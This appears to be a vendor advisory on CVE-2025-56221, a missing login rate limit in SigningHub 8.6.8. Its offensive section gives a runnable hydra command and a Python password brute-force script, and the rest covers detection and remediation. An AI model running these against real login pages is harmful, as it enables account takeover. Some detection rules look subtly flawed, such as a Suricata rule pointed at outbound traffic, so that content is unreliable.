CVE-2025-56221

Executive Summary

CVE-2025-56221 identifies a critical authentication bypass vulnerability in Ascertia SigningHub version 8.6.8. The core issue is a complete lack of rate limiting on the login mechanism, which allows an unauthenticated, remote attacker to perform brute-force password attacks against any user account. Successful exploitation can lead to full account takeover, unauthorized signing of documents, and potential lateral movement within the organization's document workflow infrastructure. This vulnerability is particularly dangerous because it requires no prior access, no user interaction, and can be executed with simple scripting tools. The vendor has not yet released a patch, making this a high-priority risk for all deployments of this version.

Supply Chain & Package Security

This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise software product, SigningHub. The risk is primarily to the direct deployment of the application and its underlying infrastructure, not to a software supply chain dependency.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network - The attack can be launched remotely over the network.
• Attack Complexity (AC): Low - No special conditions or complex steps are required. A standard HTTP request is sufficient.
• Privileges Required (PR): None - The attacker does not need to be authenticated.
• User Interaction (UI): None - The victim does not need to perform any action.
• Scope (S): Unchanged - The exploit does not affect other components beyond the vulnerable application.
• Confidentiality (C): High - Full access to all documents and user data.
• Integrity (I): High - Ability to forge signatures and modify documents.
• Availability (A): High - Potential to lock out legitimate users or disrupt service.

Threat Level: Critical. The combination of network accessibility, low complexity, and high impact makes this vulnerability extremely attractive to attackers. Automated scanning and exploitation are trivial.

Deep Dive & Mechanics

The vulnerability resides in the authentication endpoint of the SigningHub web application. The application fails to implement any form of rate limiting, account lockout, or CAPTCHA on the login form. This allows an attacker to send a high volume of login requests with different password guesses for a known username.

Technical Flow:

1. Reconnaissance: The attacker identifies a valid username (e.g., admin, user@company.com). This can often be obtained via OSINT, directory enumeration, or error messages that reveal valid usernames.
2. Brute-Force Attack: The attacker uses a tool like hydra, medusa, or a custom Python script to send POST requests to the login endpoint (e.g., /login, /api/auth).
3. Response Analysis: The application returns a distinct response for a successful login (e.g., HTTP 200 with a session cookie) versus a failed login (e.g., HTTP 401 or a specific error message). The attacker iterates through a password list until a successful response is received.
4. Account Takeover: Once the correct password is found, the attacker can log in with full privileges of the compromised user.

The lack of rate limiting means there is no mechanism to slow down or stop this process. A standard password list of 10,000 common passwords can be tested against a single account in minutes.

Vulnerable vs. Patched Code

Since no patch is available, a direct code comparison is not possible. However, the vulnerable behavior can be described in contrast to a secure implementation.

Vulnerable Logic (Pseudocode):

# Vulnerable: No rate limiting
def login(request):
    username = request.POST['username']
    password = request.POST['password']
    user = authenticate(username, password)
    if user is not None:
        return HttpResponse("Login Successful")
    else:
        return HttpResponse("Invalid Credentials", status=401)

Patched Logic (Pseudocode):

# Patched: Rate limiting implemented
from django.core.cache import cache

def login(request):
    ip = request.META['REMOTE_ADDR']
    username = request.POST['username']
    attempts_key = f"login_attempts_{ip}_{username}"
    attempts = cache.get(attempts_key, 0)

    if attempts >= 5:
        return HttpResponse("Too many attempts. Try again later.", status=429)

    password = request.POST['password']
    user = authenticate(username, password)
    if user is not None:
        cache.delete(attempts_key)
        return HttpResponse("Login Successful")
    else:
        cache.set(attempts_key, attempts + 1, timeout=300) # 5 minute lockout
        return HttpResponse("Invalid Credentials", status=401)

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Target: A local or cloud-hosted instance of SigningHub v8.6.8.
2. Attacker Machine: Kali Linux or any system with Python and hydra installed.
3. Tools: hydra, curl, Burp Suite, or a custom Python script.

Exploitation Steps:

1. Identify Login Endpoint:

   curl -s -I https://target.signinghub.com/login
   

2. Brute-Force with Hydra:

   hydra -l admin -P /usr/share/wordlists/rockyou.txt target.signinghub.com https-post-form "/login:username=^USER^&password=^PASS^:Invalid Credentials"
   

3. Custom Python Script (More Stealthy):

   import requests
   
   target = "https://target.signinghub.com/login"
   username = "admin"
   password_file = "passwords.txt"
   
   with open(password_file, "r") as f:
       for password in f:
           password = password.strip()
           data = {"username": username, "password": password}
           response = requests.post(target, data=data, verify=False)
           if "Invalid Credentials" not in response.text:
               print(f"[+] Found password: {password}")
               break
           else:
               print(f"[-] Tried: {password}")
   

Blue Team (Defensive)

Detection & Response:

1. Monitor for High Volume of Login Failures: Alert on any single IP address generating more than 10 failed login attempts within a 5-minute window.
2. Analyze Web Server Logs: Look for patterns of repeated POST requests to the login endpoint from the same IP.
3. Implement WAF Rules: Create a rule to block or rate-limit IPs that exceed a threshold of login attempts.
4. Enable Account Lockout: If possible, configure the application to lock an account after a small number of failed attempts (e.g., 5 attempts in 15 minutes).
5. Deploy CAPTCHA: Integrate a CAPTCHA service (e.g., reCAPTCHA) on the login page to prevent automated attacks.

Indicators of Compromise (IOCs)

• Network IOCs:

  • High volume of HTTP POST requests to /login or /api/auth from a single IP address.
  • User-Agent strings associated with brute-force tools (e.g., hydra, curl/7.x, Python-requests/2.x).
  • Sequential or predictable source IPs (e.g., from a known VPN or proxy service).

• Host IOCs:

  • Web server logs showing repeated 401 Unauthorized responses for the same username.
  • System logs showing multiple failed authentication attempts for a single user account.
  • Unusual account activity, such as logins from unexpected geographic locations or at odd hours.

• File IOCs:

  • Presence of password list files (e.g., rockyou.txt, passwords.txt) on an internal system (indicates a compromised host used for internal brute-forcing).

Detection Engineering

YARA Rule

rule detect_signingham_bruteforce {
    meta:
        description = "Detects brute-force attempts against SigningHub login"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-56221"
    strings:
        $login_path = "/login" nocase
        $auth_path = "/api/auth" nocase
        $failed_msg = "Invalid Credentials" nocase
        $post_method = "POST" nocase
    condition:
        (#login_path > 10 or #auth_path > 10) and #failed_msg > 5 and #post_method > 0
}

Sigma Rule

title: SigningHub Brute-Force Attack
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects multiple failed login attempts to SigningHub
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/login'
            - '/api/auth'
        sc-status: 401
    condition: selection | count() by src_ip > 10 within 5m
falsepositives:
    - Legitimate users forgetting passwords
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-56221 - SigningHub Brute-Force Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/login"; http_uri;
    content:"username="; http_client_body;
    content:"password="; http_client_body;
    threshold: type both, track by_src, count 10, seconds 300;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions (No Patch Available):

1. Implement Web Application Firewall (WAF) Rules: Create custom rules to rate-limit login attempts per IP address. Block IPs that exceed a threshold (e.g., 10 attempts in 5 minutes).
2. Enable Multi-Factor Authentication (MFA): If supported by SigningHub, enforce MFA for all users. This renders brute-force attacks ineffective even if a password is guessed.
3. Network Segmentation: Place the SigningHub server behind a VPN or bastion host, restricting direct internet access to the login page.
4. Monitor and Alert: Implement the detection rules provided above to identify and respond to brute-force attacks in real-time.
5. User Education: Advise users to use strong, unique passwords and enable any available account lockout features.

Long-Term Actions:

1. Vendor Patch: Monitor Ascertia's official channels for a security patch. Apply it immediately upon release.
2. Code Review: If you have access to the source code, implement rate limiting, account lockout, and CAPTCHA on the authentication endpoint.
3. Upgrade: Consider upgrading to a newer, patched version of SigningHub if available.

Valters IT
Securing Digital Signatures, One Vulnerability at a Time.